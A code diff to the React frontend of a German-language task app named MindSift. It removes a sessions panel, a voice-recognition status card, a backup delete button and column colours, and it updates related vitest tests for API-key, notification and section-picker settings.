Werkzeuge: <code className="font-mono">list_task_lists</code>, <code className="font-mono">create_task_list</code>,{' '}
<code className="font-mono">list_tasks</code>, <code className="font-mono">get_task</code>,{' '}
<code className="font-mono">create_task</code>, <code className="font-mono">update_task</code>,{' '}
<code className="font-mono">complete_task</code>, <code className="font-mono">add_subtask</code>,{' '}
<code className="font-mono">update_subtask</code>, <code className="font-mono">delete_task</code>,{' '}
<code className="font-mono">list_lists</code>, <code className="font-mono">create_list</code>,{' '}
<code className="font-mono">get_list</code>, <code className="font-mono">add_list_item</code>,{' '}
<code className="font-mono">check_list_item</code>, <code className="font-mono">update_list_item</code>,{' '}
<code className="font-mono">list_notes</code>, <code className="font-mono">get_note</code>,{' '}
<code className="font-mono">create_note</code>, <code className="font-mono">search</code>,{' '}
<code className="font-mono">capture_to_inbox</code>. Der Agent sieht
nur die Werkzeuge, für die der Schlüssel bzw. die Verbindung berechtigt ist; Freigaben gelten wie für dich selbst.
</p>
</div>
)}
</div>
</div>
);
};
@@ -1,5 +1,5 @@
import React, { useEffect, useState } from 'react';
import { Archive, Download, Loader2, Trash2 } from 'lucide-react';
import { Archive, Download, Loader2 } from 'lucide-react';
import { BackupFile, SystemSettings } from '../../lib/types';
import { api } from '../../lib/api';
import { ToggleSwitch } from '../../components/ToggleSwitch';
@@ -41,16 +41,6 @@ export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSa
}
};
const remove = async (name: string) => {
if (!window.confirm(`Backup ${name} endgültig löschen?`)) return;
setError(null);
try {
setFiles(await api.adminDeleteBackup(name));
} catch (err: any) {
setError(err.message || 'Löschen fehlgeschlagen');
}
};
return (
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
<div className="flex items-center justify-between gap-4">
@@ -119,25 +109,14 @@ export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSa
{new Date(f.createdAt).toLocaleString('de-DE')} · {formatBytes(f.size)}
</p>
</div>
<div className="flex items-center gap-1.5 shrink-0">
<button
type="button"
onClick={() => download(f.name)}
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1 shrink-0"
>
<Download className="w-3.5 h-3.5" />
Download
</button>
<button
type="button"
onClick={() => remove(f.name)}
title="Backup löschen"
aria-label={`Backup ${f.name} löschen`}
className="btn-action h-11 w-11 sm:h-7 sm:w-7 inline-flex items-center justify-center text-faint hover:text-status-err"
>
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
</div>
))
)}
@@ -1,6 +1,6 @@
import React from 'react';
import { Check } from 'lucide-react';
import { DATA_SECTIONS, DataSection } from '../../lib/types';
import { ToggleSwitch } from '../../components/ToggleSwitch';
interface SectionPickerProps {
value: DataSection[];
@@ -8,27 +8,30 @@ interface SectionPickerProps {
label?: string;
}
// Which parts of the own data a restore or import covers; one switch per section, at least one stays on
// Which parts of the own data a restore or import covers; at least one stays selected
export const SectionPicker: React.FC<SectionPickerProps> = ({ value, onChange, label = 'Bereiche' }) => (
<div role="group" aria-label={label}>
<p className="text-[11px] text-muted mb-1.5">{label}</p>
<div className="grid grid-cols-1 sm:grid-cols-2 gap-x-6 gap-y-1 border border-border rounded-card px-3 py-1.5 bg-panel">
<div className="flex flex-wrap items-center gap-1.5" role="group" aria-label={label}>
<span className="text-[11px] text-muted mr-1">{label}:</span>
{DATA_SECTIONS.map((sec) => {
const on = value.includes(sec.id);
return (
<div key={sec.id} className="flex items-center justify-between gap-3 min-h-[44px] sm:min-h-[36px]">
<span className="text-xs text-main">{sec.label}</span>
<ToggleSwitch
checked={on}
title={sec.label}
onChange={() => {
<button
key={sec.id}
type="button"
role="checkbox"
aria-checked={on}
onClick={() => {
const next = on ? value.filter((v) => v !== sec.id) : [...value, sec.id];
if (next.length > 0) onChange(next);
}}
/>
</div>
className={`h-11 sm:h-7 px-2.5 rounded-btn border text-[11px] inline-flex items-center gap-1 transition-colors ${
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
{on && <Check className="w-3 h-3 text-accent" />}
{sec.label}
</button>
);
})}
</div>
</div>
);
@@ -1,110 +0,0 @@
import { useEffect, useState } from 'react';
import { LogOut, Monitor, Smartphone } from 'lucide-react';
import { api } from '../../lib/api';
import { Session } from '../../lib/types';
// Rough device label from the user agent; good enough to tell one's own devices apart
export function describeDevice(ua: string): { label: string; mobile: boolean } {
if (!ua) return { label: 'Unbekanntes Gerät', mobile: false };
if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false };
const mobile = /Android|iPhone|iPad|Mobile/i.test(ua);
const browser = /Edg\//.test(ua)
? 'Edge'
: /Firefox\//.test(ua)
? 'Firefox'
: /Chrome\//.test(ua)
? 'Chrome'
: /Safari\//.test(ua)
? 'Safari'
: 'Browser';
const os = /Android/.test(ua)
? 'Android'
: /iPhone|iPad/.test(ua)
? 'iOS'
: /Windows/.test(ua)
? 'Windows'
: /Mac OS X/.test(ua)
? 'macOS'
: /Linux/.test(ua)
? 'Linux'
: '';
return { label: os ? `${browser} auf ${os}` : browser, mobile };
}
function formatLastUsed(iso: string): string {
const d = new Date(iso);
if (isNaN(d.getTime())) return '';
const minutes = Math.round((Date.now() - d.getTime()) / 60000);
if (minutes < 10) return 'gerade aktiv';
return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`;
}
export function SessionsPanel() {
const [sessions, setSessions] = useState<Session[] | null>(null);
const [error, setError] = useState('');
const [ending, setEnding] = useState('');
const load = async () => {
try {
const list = await api.listSessions();
setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]);
setError('');
} catch (err: any) {
setError(err.message || 'Sitzungen konnten nicht geladen werden');
}
};
useEffect(() => {
void load();
}, []);
const endSession = async (id: string) => {
setEnding(id);
try {
await api.endSession(id);
setSessions((prev) => (prev || []).filter((s) => s.id !== id));
} catch (err: any) {
setError(err.message || 'Sitzung konnte nicht beendet werden');
} finally {
setEnding('');
}
};
if (error) return <p className="text-[11px] text-status-err">{error}</p>;
if (!sessions) return <p className="text-[11px] text-muted">Lade Sitzungen…</p>;
return (
<ul className="divide-y divide-border rounded-card border border-border bg-canvas">
{sessions.map((s) => {
const device = describeDevice(s.userAgent);
const Icon = device.mobile ? Smartphone : Monitor;
return (
<li key={s.id} className="flex items-center gap-3 p-3 text-xs">
<Icon size={16} className="text-muted shrink-0" />
<div className="min-w-0 flex-1">
<p className="font-semibold text-main truncate">
{device.label}
{s.current && <span className="ml-2 text-[10px] font-semibold text-accent">Dieses Gerät</span>}
</p>
<p className="text-[11px] text-faint truncate">
{[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')}
</p>
</div>
{!s.current && (
<button
type="button"
onClick={() => endSession(s.id)}
disabled={ending === s.id}
title="Dieses Gerät abmelden"
className="btn-secondary min-h-[44px] sm:min-h-0 h-8 px-3 text-xs shrink-0 flex items-center gap-1.5 cursor-pointer"
>
<LogOut size={13} />
<span>{ending === s.id ? 'Melde ab…' : 'Abmelden'}</span>
</button>
)}
</li>
);
})}
</ul>
);
}
File diff suppressed because it is too large. Load diff
@@ -1,189 +0,0 @@
import React, { useEffect, useRef, useState } from 'react';
import { AlertCircle, Check, Loader2, Mic, RefreshCw, Square } from 'lucide-react';
import { api } from '../../lib/api';
import { VoiceAdminStatus } from '../../lib/types';
const TEST_SECONDS = 6;
// Admin: which speech recognition is active. Configured only by environment (STT_*), so this card
// just shows the state and offers a short test recording through the own Whisper server.
export const VoiceStatusCard: React.FC = () => {
const [info, setInfo] = useState<VoiceAdminStatus | null>(null);
const [loading, setLoading] = useState(false);
const [error, setError] = useState<string | null>(null);
const [recording, setRecording] = useState(false);
const [testing, setTesting] = useState(false);
const [result, setResult] = useState<{ text: string; ms: number } | null>(null);
const recorderRef = useRef<MediaRecorder | null>(null);
const stopTimerRef = useRef<number | null>(null);
const load = async () => {
setLoading(true);
try {
setInfo(await api.adminVoiceStatus());
setError(null);
} catch (err: any) {
setError(err.message || 'Status konnte nicht geladen werden');
} finally {
setLoading(false);
}
};
useEffect(() => {
void load();
return () => {
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
recorderRef.current?.stream.getTracks().forEach((t) => t.stop());
};
}, []);
const stopRecording = () => {
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
stopTimerRef.current = null;
if (recorderRef.current?.state === 'recording') recorderRef.current.stop();
};
const startTest = async () => {
setResult(null);
setError(null);
let stream: MediaStream;
try {
stream = await navigator.mediaDevices.getUserMedia({ audio: true });
} catch {
setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
return;
}
const recorder = new MediaRecorder(stream);
const chunks: Blob[] = [];
recorder.ondataavailable = (e) => {
if (e.data.size > 0) chunks.push(e.data);
};
recorder.onstop = async () => {
stream.getTracks().forEach((t) => t.stop());
setRecording(false);
setTesting(true);
const started = performance.now();
try {
const text = await api.transcribe(new Blob(chunks, { type: recorder.mimeType }));
setResult({ text, ms: Math.round(performance.now() - started) });
} catch (err: any) {
setError(err.message || 'Spracherkennung fehlgeschlagen');
} finally {
setTesting(false);
}
};
recorderRef.current = recorder;
recorder.start();
setRecording(true);
stopTimerRef.current = window.setTimeout(stopRecording, TEST_SECONDS * 1000);
};
const status = info?.status;
const serverOk = info?.mode === 'server' && status?.reachable && status?.modelReady;
return (
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
<div className="flex items-start justify-between gap-3">
<div>
<h3 className="font-bold text-main flex items-center gap-1.5">
<Mic className="w-4 h-4 text-accent" />
Spracherkennung
</h3>
<p className="text-muted mt-0.5">
Wird nur über Umgebungsvariablen eingestellt (<code className="font-mono">STT_URL</code>,{' '}
<code className="font-mono">STT_MODEL</code> …); Fehler stehen im Container-Log.
</p>
</div>
<button
type="button"
onClick={load}
disabled={loading}
title="Status neu prüfen"
className="btn-action h-11 w-11 sm:h-8 sm:w-8 flex items-center justify-center shrink-0 disabled:opacity-40"
>
<RefreshCw className="w-3.5 h-3.5" />
</button>
</div>
{info && (
<dl className="grid grid-cols-[auto_1fr] gap-x-4 gap-y-1 text-xs">
<dt className="text-muted">Aktiv</dt>
<dd className="text-main font-semibold">
{info.mode === 'server'
? 'Eigener Server (Whisper)'
: info.mode === 'off'
? 'Ausgeschaltet'
: info.demo && info.url
? 'Browser (in der Demo immer)'
: 'Browser (Spracherkennung des Browsers)'}
</dd>
{info.url && (
<>
<dt className="text-muted">Server</dt>
<dd className="text-main font-mono break-all">{info.url}</dd>
<dt className="text-muted">Modell</dt>
<dd className="text-main font-mono break-all">{info.model}</dd>
<dt className="text-muted">Sprache</dt>
<dd className="text-main">{info.language || 'automatisch'}</dd>
</>
)}
{info.mode === 'server' && (
<>
<dt className="text-muted">Zustand</dt>
<dd className="flex items-center gap-1.5">
{serverOk ? (
<span className="text-status-ok flex items-center gap-1">
<Check className="w-3.5 h-3.5" /> Erreichbar, Modell geladen
</span>
) : (
<span className="text-status-err flex items-center gap-1">
<AlertCircle className="w-3.5 h-3.5" />
{status?.reachable ? 'Modell fehlt noch (wird heruntergeladen)' : 'Nicht erreichbar'}
{status?.error && !status.reachable ? `: ${status.error}` : ''}
</span>
)}
</dd>
<dt className="text-muted">Grenzen</dt>
<dd className="text-main">
{Math.round(info.maxSeconds / 60)} Min. bzw. {info.maxUploadMb} MB pro Aufnahme, {info.maxParallel}{' '}
gleichzeitig, {info.perUserPerHour} pro Person und Stunde, {info.timeoutSeconds} s Zeitlimit
</dd>
</>
)}
</dl>
)}
{info?.mode === 'server' && (
<div className="pt-2 border-t border-border flex flex-col sm:flex-row sm:items-center gap-2">
{recording ? (
<button
type="button"
onClick={stopRecording}
className="btn-danger h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
>
<Square className="w-3.5 h-3.5" /> Aufnahme beenden
</button>
) : (
<button
type="button"
onClick={startTest}
disabled={testing}
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
>
{testing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Mic className="w-3.5 h-3.5" />}
{testing ? 'Wird erkannt…' : `Testaufnahme (${TEST_SECONDS} s)`}
</button>
)}
{recording && <span className="text-muted">Sprich jetzt …</span>}
{result && (
<span className="text-main">
„{result.text || '(nichts erkannt)'}“ <span className="text-faint">· {(result.ms / 1000).toFixed(1)} s</span>
</span>
)}
</div>
)}
{error && <p className="text-status-err text-xs">{error}</p>}
</div>
);
};
@@ -1,23 +1,16 @@
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, act, within } from '@testing-library/react';
import { render, screen, fireEvent, act } from '@testing-library/react';
const createAPIKey = vi.fn(async () => ({ id: 'k1', userId: 'u', name: 'HA', keyPrefix: 'mindsift_sec_ab', scopes: 'webhook:triage,webhook:list', createdAt: '' }));
const updateAPIKey = vi.fn(async () => ({}));
const getAuthStatus = vi.fn(async (): Promise<{ mcpConnectorUrl?: string; mcpEnabled?: boolean }> => ({
mcpConnectorUrl: 'https://ms.example/api/v1/mcp',
}));
vi.mock('../../../lib/api', () => ({
api: {
getAPIKeys: vi.fn(async () => [
{ id: 'k0', userId: 'u', name: 'Rauchmelder', keyPrefix: 'mindsift_sec_xy', scopes: 'webhook:triage,webhook:task', createdAt: '' },
{ id: 'k9', userId: 'u', name: 'Claude (OAuth)', keyPrefix: 'OAuth', scopes: 'tasks:read', createdAt: '', kind: 'oauth' },
]),
getAuthStatus: (...args: unknown[]) => getAuthStatus(...(args as [])),
getAllLists: vi.fn(async () => []),
getTaskLists: vi.fn(async () => []),
createAPIKey: (...args: unknown[]) => createAPIKey(...(args as [])),
deleteAPIKey: vi.fn(),
updateAPIKey: (...args: unknown[]) => updateAPIKey(...(args as [])),
testWebhookIngest: vi.fn(),
},
triggerHaptic: vi.fn(),
@@ -28,68 +21,21 @@ import { ApiKeysPanel } from '../ApiKeysPanel';
describe('ApiKeysPanel', () => {
beforeEach(() => createAPIKey.mockClear());
it('shows the rights of existing keys as badges', async () => {
it('shows the scopes of existing keys as badges', async () => {
render(<ApiKeysPanel />);
expect(await screen.findByText('Rauchmelder')).toBeTruthy();
expect(screen.getByText('Aufgaben anlegen')).toBeTruthy();
expect(screen.getByText('Inbox')).toBeTruthy();
expect(screen.getAllByText('📋 Aufgaben').length).toBeGreaterThan(1); // chip + badge
});
it('creates a key with the chosen scopes and never without one', async () => {
render(<ApiKeysPanel />);
const triage = screen.getByRole('switch', { name: 'Inbox' });
const triage = screen.getByRole('checkbox', { name: /Triage/ });
fireEvent.click(triage); // last remaining scope cannot be switched off
expect(triage.getAttribute('aria-checked')).toBe('true');
fireEvent.click(screen.getByRole('switch', { name: 'Listeneinträge hinzufügen' }));
fireEvent.click(screen.getByRole('checkbox', { name: /Listeneinträge/ }));
await act(async () => {
fireEvent.click(screen.getByRole('button', { name: /API-Key erzeugen/ }));
});
expect(createAPIKey).toHaveBeenCalledWith('Home Assistant', ['webhook:triage', 'webhook:list']);
});
it('shows curl for scripts and, in the second tab, how to connect an MCP client', async () => {
render(<ApiKeysPanel />);
fireEvent.click(screen.getByRole('switch', { name: 'Aufgaben ändern' }));
expect(screen.getByRole('switch', { name: 'Aufgaben ändern' }).getAttribute('aria-checked')).toBe('true');
expect(screen.getAllByText(/tasks\?due=today&status=open/).length).toBeGreaterThan(0);
expect(screen.queryByText(/claude mcp add/)).toBeNull();
fireEvent.click(screen.getByRole('tab', { name: /KI-Agenten/ }));
// claude.ai / ChatGPT first: the connector address, no key
expect(await screen.findByText('https://ms.example/api/v1/mcp')).toBeTruthy();
fireEvent.click(screen.getByRole('radio', { name: 'Claude Code' }));
expect(screen.getByText(/claude mcp add --transport http mindsift/)).toBeTruthy();
fireEvent.click(screen.getByRole('radio', { name: 'OpenAI Codex' }));
expect(screen.getByText(/\[mcp_servers\.mindsift\]/)).toBeTruthy();
});
it('hides the MCP tab when the operator switched MCP off', async () => {
getAuthStatus.mockResolvedValueOnce({ mcpConnectorUrl: '', mcpEnabled: false });
render(<ApiKeysPanel />);
await act(async () => {});
expect(screen.queryByRole('tab', { name: /KI-Agenten/ })).toBeNull();
expect(screen.queryByRole('switch', { name: 'Notizen lesen' })).toBeNull();
expect(screen.getAllByText(/tasks\?due=today&status=open/).length).toBeGreaterThan(0);
});
it('marks OAuth connections instead of showing a key prefix', async () => {
render(<ApiKeysPanel />);
expect(await screen.findByText('Claude (OAuth)')).toBeTruthy();
expect(screen.getByTitle(/Verbunden über OAuth/)).toBeTruthy();
expect(screen.queryByText('OAuth', { selector: '.font-mono' })).toBeNull();
});
it('renames a key and changes its rights', async () => {
render(<ApiKeysPanel />);
fireEvent.click(await screen.findByRole('button', { name: 'API-Key Rauchmelder bearbeiten' }));
fireEvent.change(screen.getByLabelText('Name des Schlüssels'), { target: { value: 'Rauchmelder Flur' } });
const group = screen.getByRole('group', { name: 'Berechtigungen von Rauchmelder' });
fireEvent.click(within(group).getByRole('switch', { name: 'Aufgaben lesen' }));
await act(async () => {
fireEvent.click(screen.getByRole('button', { name: 'Speichern' }));
});
expect(updateAPIKey).toHaveBeenCalledWith('k0', {
name: 'Rauchmelder Flur',
scopes: ['webhook:triage', 'webhook:task', 'tasks:read'],
});
});
});
@@ -1,16 +0,0 @@
import { describe, it, expect, vi } from 'vitest';
import { render, screen, fireEvent } from '@testing-library/react';
import { SectionPicker } from '../SectionPicker';
describe('SectionPicker', () => {
it('uses switches and keeps at least one section on', () => {
const onChange = vi.fn();
render(<SectionPicker value={['notes']} onChange={onChange} />);
const notes = screen.getByRole('switch', { name: 'Notizen' });
expect(notes.getAttribute('aria-checked')).toBe('true');
fireEvent.click(notes); // last one cannot be switched off
expect(onChange).not.toHaveBeenCalled();
fireEvent.click(screen.getByRole('switch', { name: 'Listen' }));
expect(onChange).toHaveBeenCalledWith(['notes', 'lists']);
});
});
@@ -1,142 +0,0 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { UserSettingsView } from '../UserSettingsView';
import { api } from '../../../lib/api';
import { User } from '../../../lib/types';
vi.mock('../../../lib/api', async () => {
const actual = await vi.importActual<typeof import('../../../lib/api')>('../../../lib/api');
return {
...actual,
api: {
...actual.api,
getMe: vi.fn(async () => ({ isLastAdmin: false })),
getAuthStatus: vi.fn(async () => ({ demoMode: false })),
getPushDevices: vi.fn(async () => []),
updateSettings: vi.fn(async (patch) => ({ ...baseUser, ...patch })),
},
};
});
const baseUser: User = {
id: 'u1',
email: 'anna@example.com',
displayName: 'Anna',
role: 'member',
isActive: true,
alarmChannels: ['email'],
createdAt: '2026-10-30T00:00:00Z',
};
describe('UserSettingsView notification matrix', () => {
beforeEach(() => {
vi.clearAllMocks();
});
it('derives events.due from alarmChannels, disables Discord without webhook, and saves the exact notificationSettings object', async () => {
const onUserUpdated = vi.fn();
render(
<UserSettingsView
currentUser={baseUser}
activeTheme="dark"
themes={[]}
customThemes={[]}
onThemeChange={() => {}}
onCustomThemesChange={() => {}}
onUserUpdated={onUserUpdated}
onBack={() => {}}
/>
);
// Open "Alarme" section
fireEvent.click(screen.getByText('Alarme'));
// Without Discord webhook, Discord switches are disabled and hint is visible
const discordSwitches = screen.getAllByTitle('Bitte zuerst unten eine Discord Webhook URL eintragen');
expect(discordSwitches.length).toBe(5);
expect((discordSwitches[0] as HTMLButtonElement).disabled).toBe(true);
expect(screen.getByText(/Discord-Schalter sind deaktiviert/)).toBeTruthy();
// Enter a Discord Webhook URL to enable the Discord column
fireEvent.change(screen.getByPlaceholderText(/https:\/\/discord\.com\/api\/webhooks/), {
target: { value: 'https://discord.com/api/webhooks/123/abc' },
});
// Derive check: alarmChannels=['email'] -> due.email=true, due.discord=false
expect(screen.getByTitle('Fällige Aufgaben (sofort) – E-Mail').getAttribute('aria-checked')).toBe('true');
expect(screen.getByTitle('Fällige Aufgaben (sofort) – Discord').getAttribute('aria-checked')).toBe('false');
// Toggle settings in the matrix, daily summary, and global switches
fireEvent.click(screen.getByTitle('Fällige Aufgaben (sofort) – Discord'));
fireEvent.click(screen.getByTitle('Geteilte Aufgabe erledigt – E-Mail'));
fireEvent.click(screen.getByTitle('Beobachtete Aufgaben – Discord'));
fireEvent.click(screen.getByTitle('Alle Benachrichtigungen pausieren'));
fireEvent.click(screen.getByTitle('Auch eigene Änderungen an beobachteten Aufgaben melden'));
fireEvent.click(screen.getByTitle('Tageszusammenfassung'));
fireEvent.change(screen.getByLabelText('Uhrzeit der Tageszusammenfassung'), {
target: { value: '08:30' },
});
fireEvent.click(screen.getByTitle('Tageszusammenfassung – Discord'));
fireEvent.click(screen.getByRole('button', { name: 'Alarm-Einstellungen speichern' }));
await waitFor(() => expect(api.updateSettings).toHaveBeenCalledTimes(1));
expect(api.updateSettings).toHaveBeenCalledWith(
expect.objectContaining({
discordWebhookUrl: 'https://discord.com/api/webhooks/123/abc',
notificationSettings: {
paused: true,
includeOwnWatched: true,
events: {
due: { email: true, discord: true, webhook: false, push: false },
shared: { email: true, discord: false, webhook: false, push: false },
taskDone: { email: true, discord: false, webhook: false, push: false },
watched: { email: true, discord: false, webhook: false, push: false },
},
dailySummary: {
enabled: true,
time: '08:30',
email: true,
discord: true,
webhook: false,
push: false,
},
},
})
);
});
it('enables the webhook column once an own webhook URL is entered and saves it as due channel', async () => {
render(
<UserSettingsView
currentUser={baseUser}
activeTheme="dark"
themes={[]}
customThemes={[]}
onThemeChange={() => {}}
onCustomThemesChange={() => {}}
onUserUpdated={() => {}}
onBack={() => {}}
/>
);
fireEvent.click(screen.getByText('Alarme'));
const off = screen.getAllByTitle('Bitte zuerst unten eine eigene Webhook URL eintragen');
expect(off.length).toBe(5);
expect((off[0] as HTMLButtonElement).disabled).toBe(true);
fireEvent.change(screen.getByPlaceholderText(/dein-server\.local/), {
target: { value: 'https://hooks.example.com/mindsift' },
});
fireEvent.click(screen.getByTitle('Fällige Aufgaben (sofort) – Webhook'));
fireEvent.click(screen.getByTitle('Freigabe erhalten – Webhook'));
fireEvent.click(screen.getByRole('button', { name: 'Alarm-Einstellungen speichern' }));
await waitFor(() => expect(api.updateSettings).toHaveBeenCalledTimes(1));
const patch = vi.mocked(api.updateSettings).mock.calls[0][0];
expect(patch.customWebhookUrl).toBe('https://hooks.example.com/mindsift');
expect(patch.alarmChannels).toEqual(['email', 'webhook']);
expect(patch.notificationSettings?.events.due.webhook).toBe(true);
expect(patch.notificationSettings?.events.shared.webhook).toBe(true);
});
});
@@ -1,24 +0,0 @@
import { describe, expect, it } from 'vitest';
import { describeDevice } from '../SessionsPanel';
describe('describeDevice', () => {
it('names browser and system', () => {
expect(
describeDevice('Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0')
).toEqual({ label: 'Firefox auf Linux', mobile: false });
expect(
describeDevice(
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1'
)
).toEqual({ label: 'Safari auf iOS', mobile: true });
expect(
describeDevice(
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36 Edg/130.0'
).label
).toBe('Edge auf Windows');
});
it('falls back for empty agents', () => {
expect(describeDevice('').label).toBe('Unbekanntes Gerät');
});
});
@@ -1,4 +1,4 @@
import React, { useState, useEffect, useRef } from 'react';
import React, { useState, useEffect } from 'react';
import {
X,
Plus,
@@ -28,33 +28,6 @@ export const DEFAULT_KANBAN_COLUMNS: KanbanColumn[] = [
];
// Wrapper and content split so the hooks always run in the same number (see TaskDetailModal)
// Colours a column can get; all come from the theme (blue and purple via --color-info / --color-purple)
export const COLUMN_COLORS: { id: string; label: string; cls: string }[] = [
{ id: 'gray', label: 'Grau', cls: 'bg-faint' },
{ id: 'slate', label: 'Anthrazit', cls: 'bg-main' },
{ id: 'green', label: 'Grün', cls: 'bg-status-ok' },
{ id: 'yellow', label: 'Gelb', cls: 'bg-status-warn' },
{ id: 'blue', label: 'Blau', cls: 'bg-tone-blue' },
{ id: 'red', label: 'Rot', cls: 'bg-status-err' },
{ id: 'purple', label: 'Lila', cls: 'bg-tone-purple' },
{ id: 'accent', label: 'Akzentfarbe', cls: 'bg-accent' },
];
// Names the server's default columns use
const COLOR_ALIASES: Record<string, string> = { emerald: 'green', amber: 'yellow' };
const columnColorId = (col: KanbanColumn): string => {
if (col.color) return COLOR_ALIASES[col.color] || col.color;
// Columns without a colour (older boards) keep the colour of their role
if (col.isDone) return 'green';
if (col.id === 'in_progress') return 'accent';
if (col.id === 'waiting') return 'yellow';
return 'gray';
};
// Dot colour of a status column (Kanban header, list view, task detail)
export const columnDotClass = (col: KanbanColumn | undefined): string =>
(col && COLUMN_COLORS.find((c) => c.id === columnColorId(col))?.cls) || 'bg-faint';
export const ManageColumnsModal: React.FC<ManageColumnsModalProps> = (props) =>
props.isOpen ? <ManageColumnsModalContent {...props} /> : null;
@@ -71,44 +44,6 @@ const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
const [newColName, setNewColName] = useState('');
const [newColIsDone, setNewColIsDone] = useState(false);
const [saving, setSaving] = useState(false);
// Colour menu: opens at the column's dot like a context menu (fixed, so the scrolling list cannot clip it)
const [colorMenu, setColorMenu] = useState<{ id: string; left: number; top?: number; bottom?: number } | null>(null);
const colorMenuRef = useRef<HTMLDivElement>(null);
useEffect(() => {
if (!colorMenu) return;
const close = (e: Event) => {
const target = e.target as HTMLElement;
if (colorMenuRef.current?.contains(target) || target.closest?.('[data-color-trigger]')) return;
setColorMenu(null);
};
const onKey = (e: KeyboardEvent) => e.key === 'Escape' && setColorMenu(null);
const dismiss = () => setColorMenu(null);
document.addEventListener('pointerdown', close);
document.addEventListener('keydown', onKey);
window.addEventListener('resize', dismiss);
return () => {
document.removeEventListener('pointerdown', close);
document.removeEventListener('keydown', onKey);
window.removeEventListener('resize', dismiss);
};
}, [colorMenu]);
const openColorMenu = (id: string, trigger: HTMLElement) => {
if (colorMenu?.id === id) {
setColorMenu(null);
return;
}
const rect = trigger.getBoundingClientRect();
const menuHeight = COLUMN_COLORS.length * 36 + 12;
const left = Math.min(rect.left, window.innerWidth - 200);
// Below the dot if there is room, else above it
setColorMenu(
rect.bottom + menuHeight + 8 < window.innerHeight
? { id, left, top: rect.bottom + 4 }
: { id, left, bottom: window.innerHeight - rect.top + 4 }
);
};
useEffect(() => {
setColumns(initialColumns && initialColumns.length > 0 ? initialColumns : DEFAULT_KANBAN_COLUMNS);
@@ -131,12 +66,6 @@ const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
);
};
const handleColor = (id: string, color: string) => {
triggerHaptic(10);
setColumns((prev) => prev.map((c) => (c.id === id ? { ...c, color } : c)));
setColorMenu(null);
};
const handleToggleDone = (id: string) => {
triggerHaptic(10);
setColumns((prev) =>
@@ -231,10 +160,12 @@ const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
{/* Columns List */}
<div className="space-y-2">
<label className="block text-xs font-semibold text-main">Aktive Spalten ({columns.length}):</label>
<div className="space-y-1.5 max-h-[45vh] overflow-y-auto pr-1" onScroll={() => setColorMenu(null)}>
<div className="space-y-1.5 max-h-60 overflow-y-auto pr-1">
{columns.map((col, idx) => (
<div key={col.id} className="p-2 bg-canvas border border-border rounded-card space-y-2">
<div className="flex items-center gap-2">
<div
key={col.id}
className="p-2 bg-canvas border border-border rounded-card flex items-center gap-2"
>
<div className="flex flex-col gap-0.5">
<button
type="button"
@@ -256,24 +187,11 @@ const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
</button>
</div>
<button
type="button"
data-color-trigger
onClick={(e) => openColorMenu(col.id, e.currentTarget)}
className="w-7 h-7 flex items-center justify-center rounded-btn border border-border bg-panel hover:border-strong flex-shrink-0"
title="Farbe der Spalte"
aria-label={`Farbe der Spalte ${col.name}`}
aria-haspopup="menu"
aria-expanded={colorMenu?.id === col.id}
>
<span className={`w-3 h-3 rounded-full ${columnDotClass(col)}`} />
</button>
<input
type="text"
value={col.name}
onChange={(e) => handleRename(col.id, e.target.value)}
className="flex-1 min-w-0 h-7 px-2 text-xs input-field"
className="flex-1 h-7 px-2 text-xs input-field"
placeholder="Spaltenname"
/>
@@ -281,18 +199,15 @@ const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
<button
type="button"
onClick={() => handleToggleDone(col.id)}
className={`h-7 px-2 text-[10px] rounded-btn border transition-colors flex items-center gap-1 flex-shrink-0 ${
className={`h-7 px-2 text-[10px] rounded-btn border transition-colors flex items-center gap-1 ${
col.isDone
? 'bg-status-ok/15 border-status-ok text-status-ok font-semibold'
: 'bg-panel border-border text-faint hover:text-muted'
}`}
title={col.isDone ? 'Gilt als Erledigt' : 'Gilt als Offen'}
aria-label={col.isDone ? 'Gilt als Erledigt' : 'Gilt als Offen'}
aria-pressed={!!col.isDone}
>
<Check className={`w-2.5 h-2.5 ${col.isDone ? 'stroke-[3]' : 'opacity-40'}`} />
{/* Phones: only the tick, so the row keeps room for the bin */}
<span className="hidden sm:inline">Erledigt</span>
<span>Erledigt</span>
</button>
<button
@@ -305,7 +220,6 @@ const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
</div>
))}
</div>
</div>
@@ -313,20 +227,18 @@ const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
{/* Add New Column Form */}
